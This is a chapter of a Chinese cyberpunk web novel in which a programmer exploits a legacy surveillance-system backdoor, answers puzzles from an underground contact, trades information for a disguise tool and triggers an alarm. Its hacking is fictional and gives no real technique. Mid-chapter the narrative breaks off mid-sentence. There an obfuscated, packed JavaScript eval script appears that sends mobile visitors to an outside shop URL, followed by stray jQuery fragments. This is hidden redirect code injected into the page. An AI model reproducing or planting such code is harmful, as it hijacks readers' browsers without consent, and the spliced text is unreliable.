林越坐在深网数据工坊的工位上，神经接口传来的数据流在视野边缘缓缓滚动。
今天是他来到新长安城的第四天。
左手腕的三道红痕依旧鲜艳，像是某种倒计时。而他的个人数据面板上，那个刺眼的标签没有消失：
观察对象：重点观察异常数据模式
威胁度：37% → 42%威胁度持续上升，疑似激活状态
“重点观察。”林越在心里重复了一遍这个词。
意思是他的每一个数据行为都会被仔细分析，每一次神经接口的波动都会被记录，甚至生物特征都会被定期扫描。用程序员的话说，就是他这个“bug”已经被系统标记为“待修复”，只是暂时还没决定用哪个版本的补丁。
但他没有时间恐惧。
第四天了。距离临时公民身份评估还有二十六天，距离“数字遗民”警报触发还有六十八小时——如果他敢断开神经接口的话。
而昨天在归档库看到的那一幕，那个中年男性空洞的眼睛，那个被系统称为“数据再教育”的实质是意识格式化的过程……
“永远，不要坐到那张椅子上。”
林越对自己说过这句话。现在他再加一句：
“所以，得想办法。”
今天的筛选任务相对简单：检查一批商业注册数据的完整性。林越一边机械地执行工作，一边在心里复盘昨天发现的线索。
V3.0系统后门漏洞。
他在老数据档案中找到的“遗留接口”文档里提到，新长安城监控系统在从V3.0升级到V5.0时，为了保持向下兼容，保留了部分旧接口。这些接口理论上应该被封锁，但因为当时的开发团队赶进度——林越太懂这个了——有些接口只是简单屏蔽了访问路径，却没有真正关闭底层通道。
“就像给一扇门贴了‘禁止入内’的封条，但忘记锁门。”
程序员思维开始运转。
文档里提到了三个可能存在的遗留接口：
1.历史数据档案馆访问通道（低敏感度数据）
2.系统开发日志查询节点（部分日志）
3.匿名数据层传输路径（用途不明）
风险在于：访问这些接口不会生成正式的系统日志，但会在底层缓存中留下痕迹。而如果系统启动深度扫描——比如针对“重点观察”对象——这些痕迹就可能被挖出来。
“赌一把。”林越想，“或者等死。”
他选择了风险最低的第一个接口。
**测试开始：**历史数据档案馆访问通道。
林越在视野中调出数据访问面板，输入昨天从文档里解析出的访问路径。不是常规的API调用，而是一串看起来像是乱码的字符序列——这是V3.0时代的旧协议格式。
“按回车的感觉，有点像在试保险箱密码。”他吐槽道，“错了会报警吗？大概率会。”
敲下确认。
视野边缘出现了一个新的数据窗口，标题是：“历史数据档案馆（受限访问）”。
成功了。
窗口里的内容不多：一些过期的公民数据归档（五年以上）、已终止的研究记录、系统早期版本的开发文档。都是低敏感度信息，但……
“没有日志记录。”林越仔细观察访问面板的状态栏。常规访问会留下“访问时间-访问者ID-访问内容”的三段式记录，但这个窗口的状态栏是空的。
不，不是完全空。
底部有一行小字：“缓存状态：已写入底层缓存（临时，72小时后自动清理）”。
“底层缓存。”林越记住了这个词，“就像是系统的草稿纸，写了字但不算正式作业。”
这给了他一点安全感。72小时的清理周期意味着，只要他不被频繁扫描，这些访问痕迹就有机会被自动清除。
但同时也意味着：如果他触发扫描，这些痕迹会被立刻发现。
权衡利弊。林越评估了十秒。
“继续。”他决定，“总不能因为怕被发现bug，就不写代码了。”
接下来的两个小时，林越在工作间隙断断续续地测试这个后门。
他发现了几件事：
1.访问权限确实受限：只能查看，不能修改或下载数据。
2.数据范围有限：主要是历史数据和过期文档，没有实时监控信息。
3.但有一个意外发现：在“匿名数据层传输路径”的文档链接里，他找到了一个可访问的坐标。
那是一个完全独立的数据空间，入口隐藏在历史档案馆的某个废弃索引页背后。需要连续三次“意外”点击特定的超链接，才能进入。
“设计得像是彩蛋。”林越想，“或者说，像是故意留给‘懂行的人’的后门。”
他点了进去。
视野瞬间切换。
灰色。
这是林越的第一感觉。
不是视觉上的灰色——神经接口传输的是纯粹的数据流，没有颜色概念——而是一种“质地”上的灰色。常规数据空间清晰、结构化、层级分明，像是精心设计的软件界面。而这个空间……混乱、流动、边界模糊。
数据包像是气泡一样飘浮，每个气泡表面闪烁着加密的标签。没有用户ID，没有身份验证，只有一串串随机生成的临时标识符。
“匿名论坛。”林越明白了，“或者说，地下黑市。”
他谨慎地观察。气泡的数量不多，大概几十个，有些静止，有些缓慢移动。它们之间偶尔会碰撞，交换一小段数据，然后分开。
“点对点加密传输，一次性标识符，无日志记录。”林越分析道，“这里的规矩是：不问身份，只看内容。”
他尝试“触碰”最近的一个气泡。
视野中弹出一行字：“访问需要解答验证问题：3+5=？”
林越愣了一下，输入“8”。
气泡打开了，里面是一段文本：“求购：公民健康数据脱敏算法（规避V5.0新规）。报酬：信用积分20点或等值工具。”
“求购违法工具。”林越关闭了气泡，“这地方果然不干净。”
但他没有立刻离开。相反，他开始系统地浏览。
大部分气泡内容都是类似的：数据交易、工具交换、信息买卖。有些求购监控规避技巧，有些出售“安全屋”坐标（指电磁屏蔽区域），还有些在招募“合作伙伴”。
直到他看到一个气泡的标签与众不同。
标签不是描述内容，而是一个简单的图标：一把老式燧发枪的轮廓。
验证问题也很特别：“访问需要证明智力：无问题，请自行寻找入口。”
“智力测试。”林越来了兴趣。
他仔细观察气泡表面。没有明显的入口按钮，没有输入框。气泡本身在缓慢旋转，表面数据流构成复杂的图案。
“图案有问题。”林越眯起眼睛。
旋转的图案每隔七秒会重复一次，而在重复的瞬间，某个特定位置会出现一个微小的数据缺口——持续时间不到0.1秒。
“需要精准点击。”林越计算着时间。
七秒周期。缺口出现位置：旋转角度第132度处。持续时间：0.08秒。
他等到下一次周期开始，在第六秒时开始倒计时：“三、二、一……现在！”
神经接口的思维指令精准命中。
气泡打开了。
里面的内容很简单，只有三行字：
招募：需要一名懂得在规则缝隙中跳舞的伙伴。
三道题，能解就聊。
发帖者：老枪
下面是三道数据逻辑题。
林越扫了一眼，程序员的本能立刻被激活了。
题一：数据流加密谜题
以下数据包传输记录已被截获，使用莫尔斯电码变体加密（长脉冲=1，短脉冲=0）。请解析出原始信息。传输序列：1101 0010 1011 0100 1110 0001附加信息：每四个二进制位对应一个英文字母（A=0000, B=0001, …, Z=1101），超出部分为自定义编码。
林越花了三十秒。 “这题设计得像是技术面试里的脑筋急转弯，专治各种‘我以为我会’。”他内心吐槽，“幸好不是‘如何用一句话让程序员崩溃’——那种题我可能真的会当场死机。”
“莫尔斯变体，但实际是二进制转字母。”他在心里演算，“1101=M，0010=C，1011=……等等，1011对应什么？字母表只有A到Z，1101是M，那1011是……”
他意识到问题：字母表到Z（1101），而1011是十进制的11，对应K。
快速计算：1101(M)-0010(C)-1011(K)-0100(E)-1110(?) -0001(B)
“1110对应十进制的14，字母N。”林越得出结果，“所以是：MCKE NB？”
不，顺序可能有问题。他重新检查：“等等，传输序列是六个四位数，但英文字母通常组成单词……MCKENB没有意义。”
换个思路：也许是需要重组。
他尝试按不同顺序排列，直到找到有意义的组合：“B KN”？不对。
“BE！”林越突然反应过来，“如果1110不是N，而是作为‘空格’或分隔符呢？”
把1110当作分隔符，剩下的五个四位数：1101(M)-0010(C)-1011(K)-0100(E)-0001(B)
重组为有意义的单词：“BE”需要字母B、E、C、O、M、E。现有M、C、K、E、B。
“K不是O。”林越皱眉，“但1011是K，如果编码偏移……等等，题中说‘超出部分为自定义编码’，意思是非标准映射。”
他假设1011对应O（字母表第15位，但二进制1011是11，需要加4的偏移）。
测试：1101(M,13)-0010(C,3)-1011(O,15假设)-0100(E,5)-0001(B,2)
重新排序成“BE”：B(2)-E(5)-C(3)-O(15)-M(13)-E(5)
“对了！”林越在视野中输入答案：“BE”。
题一通过。
题二：系统权限逻辑陷阱
两个数据节点A和B需要共享敏感信息。系统规则：若A发送信息给B，且B接收，则A信用积分+10，B-5若B发送信息给A，且A接收，则B信用积分+10，A-5若双方同时发送，则信息冲突丢失，双方各-20若双方都不发送，则无变化假设A和B都是理性决策者，且无法沟通。请问经过无限次重复博弈后，最可能的稳定策略是什么？请用数据模型说明。
“囚徒困境的数据版本。”林越笑了，“这题我熟。”
他在心里建立模型：
双方都有两个选择：发送(S)或不发送(N)。
支付矩阵：
A发送,B接收：A+10,B-5
B发送,A接收：B+10,A-5
同时发送：各-20
都不发送：各0
从个体理性出发：
如果对方选择发送，我最好不发送（-5 vs -20）
如果对方选择不发送，我最好发送（+10 vs 0）
所以“发送”是严格优势策略吗？不，因为如果对方也发送，结果是-20，比不发送的-5更差。
经典囚徒困境。唯一的纳什均衡是（发送，发送），结果（-20，-20），对双方都是最差。 “这就像两个程序员互相推卸责任，最后项目延期，大家一起加班——只不过这里的‘加班’是扣信用积分，而积分在这个世界等于生存资源。”林越内心吐槽，“所以结论是：无论在哪个世界，合作都是反人性的，但又是生存必需的。真是让人沮丧的真理。”
“但题目问的是‘无限次重复博弈’。”林越注意到这个关键点。
无限次重复时，合作可能通过威胁维持。比如“触发策略”：一开始合作（不发送），如果对方背叛（发送），则永远背叛（之后永远发送）。
但需要贴现因子足够高（未来收益重要）。
林越快速演算。最优解是：双方都采用“冷酷触发策略”，永远合作（不发送），获得长期收益0，比每次都-20好。
但他觉得这个答案太简单了。
“等等，这是数据世界。”他想，“理性决策者’可能不是人类。”
数据节点的“理性”可能是最大化信用积分，但信用积分在这个世界意味着生存资源。而-20的惩罚相当重。
林越考虑了另一种可能性：系统规则本身有漏洞。
规则说“若双方同时发送，则信息冲突丢失”，但没说“同时”的判断标准。在数据世界，同时性可以精确到纳秒级，但两个节点如果没有时间同步，可能产生误解。
如果节点A认为“我稍微延迟一点发送，就不会同时”，而节点B也这么想……
“那结果就是双方永远试图在对方不发送时发送，但总因为时间误差导致‘同时’。”林越得出结论，“最终结果近似随机，长期期望值……大概-10左右。”
他决定提交这个更符合数据世界现实的答案：“双方采用适应性策略，试图捕捉对方不发送的窗口，但由于时间同步误差，长期平均收益约为-10。系统规则鼓励了这种低效竞争。”
题二通过。
题三：时间戳与数据完整性的矛盾验证
某数据库记录显示：事件X发生时间戳：2035-07-15 14:30:00.000事件Y发生时间戳：2035-07-15 14:30:00.001事件Z日志记录：“在X发生后，Y发生前，处理了数据包P”数据包P的处理记录时间戳：2035-07-15 14:30:00.0005问题：请证明至少有一个时间戳是伪造的，并指出最可能的伪造者是谁。假设系统时钟精度为毫秒级。
林越读了两遍。
“时间戳矛盾。”他立刻看出了问题。
系统时钟精度是毫秒级（.000后缀）。那么：
X: 14:30:00.000
Y: 14:30:00.001
P: 14:30:00.0005
P的时间戳是.0005，介于X和Y之间，这本身没问题。但问题在于：.0005不是有效的毫秒表示，因为毫秒级精度只能是.000、.001、.002等整数毫秒。
.0005是半毫秒，超出了系统精度范围。
“所以P的时间戳肯定是伪造的。”林越想，“但题目问‘至少有一个’是伪造的，意思是可能还有更多。”
他检查其他可能：
X和Y的时间戳在精度范围内。但Z日志说“在X发生后，Y发生前”，这没问题，除非……
“除非X和Y实际上是同时发生的，但被记录了不同的时间戳。”林越想到了另一种可能。
如果X和Y真正发生的时间都是14:30:00.000（同一毫秒），但记录时被分配了不同的毫秒值（.000和.001），那么Z日志说“在X发生后，Y发生前”就是错误的，因为它们是同时的。
“所以可能X或Y的时间戳也被调整了。”林越分析，“最可能的是Y被延后了1毫秒，以制造顺序。”
那么谁最可能伪造？
数据包P的处理记录需要精确时间戳，伪造者可能是处理者自己，为了证明自己在“正确的时间”做了处理。
但X和Y如果是系统记录的事件，伪造者可能是系统，或者有权限修改系统日志的人。
林越综合考虑，给出了答案：“1) 数据包P的时间戳(.0005)超出系统精度，必伪造。2) 事件Y的时间戳可能被延后1毫秒以制造与X的顺序。3) 最可能的伪造者是系统本身或高级权限者，目的是构造合逻辑的事件序列。”
题三通过。
三道题全部解答完毕。
视野中的气泡突然收缩，然后展开成一个新的界面：
恭喜。你比我想象的快。
临时通讯通道坐标：[一次性加密链接，10分钟后失效]
想聊的话，点进来。——老枪
林越看着那个链接。
十分钟失效。一次性。
“比HR的面试邀请还急。”他吐槽道。
但他没有犹豫。
还剩八分钟时，他点了进去。
视野再次切换。
这次是一个极简的空间：纯黑色背景，中间悬浮着一个白色的输入框。没有其他界面元素，没有说明，没有欢迎语。
典型的加密通讯界面。低调到近乎简陋。 “这加密空间简陋得像是用系统默认模板拼出来的，连个‘欢迎光临’的虚拟横幅都舍不得加。”林越内心吐槽，“老枪的审美，大概和他的代号一样——复古，且实用主义至上。”
林越等了三秒。
输入框里自动出现了一行字，像是打字机效果，一个字一个字跳出来：
老枪：三道题用了4分37秒。比平均快62%。你是系统内部人员？
林越思考了一下回答策略。诚实，但不能透露太多。
他输入：墨客：不是内部人员。只是信息筛选师学徒。
“墨客”——这是他给自己取的代号。不算创意，但符合他现在的处境：在数据世界里摸索的初学者。
老枪：学徒能解出第二题的博弈论变体？有意思。
林越：墨客：以前解决过类似问题。现实世界的囚徒困境更复杂。
老枪：现实世界。这个词用得很有意思。所以你不是本地人？
这个问题很敏感。林越谨慎回应：墨客：我是新长安城的临时公民，正在努力转正。这样说够清楚吗？
老枪：清楚。太清楚了。清楚到像在隐瞒什么。
林越皱眉。对方很敏锐。
老枪：不过无所谓。我不关心你的来历，只关心你的能力。你找这种地方，说明你需要系统之外的东西。我猜是：信息、工具、或者……生存建议？
直击要害。
林越决定坦诚一部分：墨客：我需要在不被系统吃掉的前提下，了解这个世界的真相。包括那些被标记为“重点观察”的人会遭遇什么。
他故意提到“重点观察”，既是试探，也是展示诚意——他透露了自己被系统标记的信息。
对面沉默了五秒。
老枪：重点观察。那你的DNA有问题？异常数据扰动残留？
林越心里一紧。对方知道这个标签的特定含义。
墨客：威胁度42%。而且还在上升。
老枪：……有趣。非常有趣。
老枪：你想知道真相？真相是，新长安城是个巨大的实验场。我们都是实验品。区别在于，有些人是自愿的，有些人是被迫的，有些人是……意外的。
老枪：比如你。
墨客：意外的实验品？
老枪：如果你的威胁度在上升，说明系统在“激活”你。或者说，你在适应这个世界的过程中，触发了某种……共鸣。
老枪：具体原理我不清楚。但我知道结果：威胁度超过50%的人，要么成了系统的高级工具，要么成了重点清除对象。没有第三个选项。
50%阈值。林越记住了这个数字。
他现在是42%。还有8%的空间。
墨客：那我该怎么在到达50%之前，找到出路？
老枪：两个方向。第一，降低威胁度——几乎不可能，除非你能完全隐藏自己的生物特征，但神经接口每时每刻都在扫描。第二，在系统决定你的命运之前，获得足够的筹码。
老枪：筹码可以是信息、工具、权限，或者……一个安全的退路。
墨客：比如你提供的那些？
老枪：比如我能提供的。但需要交换。
老枪：我需要信息筛选师内部的数据观察模式。不是具体数据，而是方法论：系统如何定义“异常行为”，标记“潜在威胁”，评估“社会风险”。
老枪：作为交换，我可以给你进阶的数据防护工具，包括流量伪装、痕迹擦除、身份伪装增强版。
林越思考。
内部筛选技巧——这是他目前唯一有价值的筹码。但如果给了对方，会不会被用于危害他人？比如帮助真正的罪犯规避监控？
他需要判断老枪的意图。
墨客：你要这些方法论做什么？
老枪：自保。
简洁的回答。
老枪：我在这个系统里活了七年。活得久的秘诀不是对抗系统，而是理解它，然后……在它的规则里跳舞。
老枪：我需要知道最新的“舞蹈规则”。
听起来合理。但林越还是谨慎。
墨客：我可以给你基础的异常识别模式，基于我目前接触到的数据层级。但需要你保证不用于主动危害他人。
老枪：保证？在这种地方？
老枪：好吧。我保证：我不会用你给的信息去伤害无辜者。我只需要保护我和我关心的人。
老枪：至于什么是“无辜”，我有我的标准。但至少，我不会成为系统的猎犬。
这个回答足够诚实。林越决定相信——至少暂时相信。
墨客：成交。
老枪：很好。现在，第一次交易。小额的，测试诚意。
老枪：我给你：数据流量伪装工具v1.2（基础版）。作用是让你的数据访问模式看起来像是正常的系统更新流量。持续时间：单次最多2小时，冷却时间8小时。
老枪：你给我的：系统对“数字遗民”的处理流程细节，包括触发条件、抓捕程序、再教育中心的内部规定。不用具体案例，只要通用流程。
林越手头正好有这个信息。昨天目睹那一幕后，他特意查询了相关文档。
墨客：可以。现在交换？
老枪：不。用安全协议。
老枪：我会在匿名数据层放置一个加密容器，坐标稍后发你。你把数据放进去。我会在确认内容后，在另一个坐标放置工具包。全程无直接连接，中间经过三个跳板节点。
老枪：完成时间：30分钟内。过期作废。
老枪：同意？
墨客：同意。
老枪：坐标：[一串加密字符]。祝好运。
界面关闭。
林越回到了灰色数据层。
他看了一眼时间：从他进入这个空间到现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119407|195946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，过去了十一分钟。
通讯已经结束。现在他需要执行第一次数据交易。
但他没有立刻行动。
既然有了短暂的喘息机会，他想查一下另一件事。
黑水酒吧。
林越通过V3.0后门回到历史数据档案馆，寻找商业注册数据库的访问路径。
他找到了一个入口：“新长安城商业实体注册记录（2010-2040）”。
权限限制：只能查询已注册满一年以上的实体，且不能访问实时状态。
足够了。黑水酒吧如果存在，应该早就注册了。
他输入查询关键词：“黑水酒吧”。
结果很快出现。
实体名称：黑水酒吧
注册类型：娱乐服务业（酒吧/俱乐部）
注册时间：2038年11月15日
注册地址：第七区旧城巷47号
法人代表：[数据缺失]
法人身份代码：[已注销]
法人状态：数字幽灵（身份代码无效，实体关联已断开）
林越盯着那行字：“数字幽灵”。
意思是这个法人代表的身份代码已经被系统注销，理论上这个人已经“不存在”了。但酒吧的注册记录还保留着，而且……
“经营状态：正常营业。”
一个法人不存在的酒吧，正常运营了三年。
林越继续查看详细信息。
经营许可审批记录：
卫生许可：2038-11-20（标准流程）
消防安全：2038-11-22（快速审批，备注：“特殊豁免”）
噪音控制：2038-11-25（标准流程）
监控设备备案：[数据缺失]
监控设备备案缺失。
在新长安城，所有商业场所都必须安装内部监控，并将数据接入城市监控网络。备案缺失意味着……要么没安装，要么安装了但没备案。
林越查询了酒吧地址的公开监控覆盖图。
结果：外部监控覆盖率98.7%（标准），内部监控覆盖率：0%。
零。
一个在新长安城正常营业的酒吧，内部没有任何监控。
“这不可能。”林越喃喃自语，“除非……”
除非它获得了特殊豁免。但什么级别的权限能豁免监控？市长？警察局长？还是……系统本身？
他尝试查询审批记录的详细备注。
在“特殊豁免”条目下，有一小行加密的注释，需要二级权限才能解密。林越的权限不够。
但他看到了签署官员的代号：Auditor-7。
“审计员7号。”林越记住了这个代号。
继续查看酒吧的其他关联记录。
税务记录：正常缴纳，无拖欠。
员工登记：3名（身份信息已脱敏）。
违规记录：0次。
客户投诉：1次（内容：“酒吧播放的音乐太古老”，状态：已处理，结果：无违规）。
一切都干净得异常。
一个没有监控、法人不存在的酒吧，在三年的时间里没有任何违规记录，连客户投诉都只有一次无关痛痒的内容。
要么这是全城最守规矩的酒吧，要么……系统在故意忽略它。
林越想起在龙语世界遇到的黑水组织。同样的名字，同样的灰色地带属性。
“桥梁。”他想起老枪之前说的话，“黑水是桥。”
连接什么？龙语世界和监控世界？还是更多？
他需要更多信息，但目前的权限不够。
林越记下了所有关键信息，然后退出了商业数据库。
现在，该完成和老枪的交易了。
林越根据老枪提供的坐标，在匿名数据层找到了那个加密容器。
它看起来像一个普通的存储节点，表面闪烁着加密标记。访问需要输入一次性密码——老枪已经发给了他。
林越打开了容器的上传接口。
他整理了一下要提供的信息：
1.数字遗民触发条件：神经接口离线超过72小时；或连续三次拒绝系统合规性检查；或社会信用积分低于10分且无改善趋势。
2.抓捕程序：先由系统AI标记，然后派遣“合规执行小组”（2名人类+1个机器人单位）；优先使用非致命神经脉冲武器；目标抵抗时可升级武力。
3.再教育中心规定：
第一阶段（1-3天）：强制数据接入，输入“社会规范模组”；
第二阶段（4-10天）：行为矫正训练，通过虚拟现实场景测试；
第三阶段（11-30天）：社会适应性重建，逐步恢复有限权限。
4.关键细节：再教育成功率宣称85%，但“失败”案例的后续状态未公开；整个流程有完整的法律依据，公民无权拒绝。
林越把这些信息打包成加密数据包，设置了解密密钥（老枪知道密码），然后上传。
上传进度条缓慢移动：10%...30%...70%...
他在等待的过程中，同时准备了接收工具包的空间。按照老枪的说法，确认上传后会立即在另一个坐标放置工具包。
90%...100%。
上传完成。
林越立刻切换到接收坐标。
果然，那里出现了一个新的容器。
他下载、解密。
里面是几个数据文件：
流量伪装工具v1.2.mds（主程序）
使用说明.txt（简明教程）
免责声明.txt（“本工具仅用于学习和研究，使用者自行承担风险”）
典型的黑客工具包风格。 “这免责声明，和‘最终解释权归本公司所有’有异曲同工之妙——说了等于没说，但不说又不行。”林越内心吐槽，“不过至少比某些软件的‘我已阅读并同意用户协议’诚实点，那个是真的没人看。”
林越快速扫描了主程序。代码结构清晰，没有明显的恶意代码或后门——至少以他目前的水平看不出来。
他按照说明，在神经接口中“安装”了这个工具。安装过程很简单：数据注入，系统提示“检测到新的数据处理插件，是否授权？”，他选择“是”。
工具激活。
视野边缘出现了一个新的状态图标：伪装模式（未启动）。
同时，他收到了老枪的一条简短消息：
交易完成。工具已生效。下次需要时再联系。保持低调。
然后通讯彻底断开。
林越松了口气。
第一次地下交易，完成得还算顺利。他获得了一个实用的工具，而付出的信息——虽然敏感，但至少没有直接伤害任何人。
他看了一眼时间：下午三点二十分。距离下班还有一个多小时。
要不要现在就测试一下流量伪装工具？
他决定小范围测试。启动伪装模式，然后尝试访问一些平时不敢碰的数据——比如系统监控节点的实时状态查询（只读模式）。
伪装模式启动。
视野中的状态图标变成绿色：“伪装中（剩余时间：1小时59分）”。
林越尝试访问一个低敏感度的监控节点：街道清洁机器人的调度系统。
访问成功。没有警报。
他稍微大胆一点，尝试访问附近街区的公共监控摄像头列表。
访问成功。依然没有警报。
“有效。”林越心想，“至少对低层级数据有效。”
但他没有继续测试高风险目标。谨慎为上。
他关闭了所有非常规访问，回到了正常的筛选工作界面。
就在这时——
警报。
刺眼的红色突然充斥了整个视野。
巨大的警告窗口强制弹出，盖住了所有其他界面：
警报级别：紧急
检测到：非授权数据访问（来源：历史数据档案馆-V3.0遗留接口）
访问内容：商业注册数据库-敏感实体查询
监控节点：认知异常研究-监控子节点
启动深度扫描协议
倒计时：10秒9秒8秒
林越的心脏骤停。
商业注册数据库查询？黑水酒吧的调查触发的？
但为什么是认知异常监控节点？那不是应该只监控他的DNA状态吗？
除非……黑水酒吧的查询触发了某种关联警报。或者，V3.0后门本身就被认知异常节点特别监控。
倒计时在继续：7秒…6秒…
林越的大脑飞速运转。
选项一：立即断开神经接口。
好处：中断扫描。
风险：触发“离线计时”，72小时后成为数字遗民。
而且扫描可能已经收集了部分数据。
选项二：用防火墙阻挡。
好处：不中断连接。
风险：防火墙只是初级版，对抗系统级的深度扫描成功率估计低于10%。
选项三：向系统报告“误触”。
好处：如果系统接受，可能免于惩罚。
风险：需要解释为什么访问黑水酒吧数据，为什么使用V3.0后门。解释不清会引发更深入调查。
选项四：用刚获得的流量伪装工具尝试掩盖。
好处：如果成功，可能混淆扫描目标。
风险：工具刚获得，未经充分测试。失败可能加重惩罚。
5秒…4秒…
林越做出了决定。
他同时启动了防火墙和流量伪装工具，并将伪装模式调整到最大强度——“模拟系统维护流量”。
然后，他准备了一个备用方案：如果扫描突破防御，他会在最后0.5秒主动断开神经接口，至少保留部分隐私。
3秒…2秒…
伪装工具的状态疯狂闪烁：“检测到高强度扫描流，正在尝试分流…”
防火墙提示：“负载97%，即将过载…”
1秒…
倒计时归零。
视野被刺眼的红色彻底覆盖。
不是窗口，而是整个视野——仿佛眼睛本身在流血。
然后红色开始旋转、扭曲，形成旋涡。旋涡中心传来巨大的吸力，不是物理上的，而是意识层面的。林越感觉自己的思维在被拉扯、撕裂。
神经接口强制接入了某个高优先级数据流。
不是他平时接触的那种温和的、结构化数据。而是……原始的信息洪流。
无数画面、声音、文字、符号、代码同时涌入。
他看到：
一个实验室，穿着白大褂的人围着一个透明的容器，里面悬浮着某种生物组织样本，样本表面闪烁着DNA螺旋的光泽。
一份研究报告的标题：“异常数据传导理论与认知异常激活实验”。
一张监控截图，地点是黑水酒吧门口，时间戳：三天前的晚上。截图里有一个模糊的人影，正走进酒吧。
一份人员名单，标题：“异常数据模式威胁度超过40%的观察对象”。名单不长，大概七八个名字。他在中间看到了自己的公民编号。
一个警告标志：黑水滴形状。标志下面有一行小字：“桥梁守护者协议-激活状态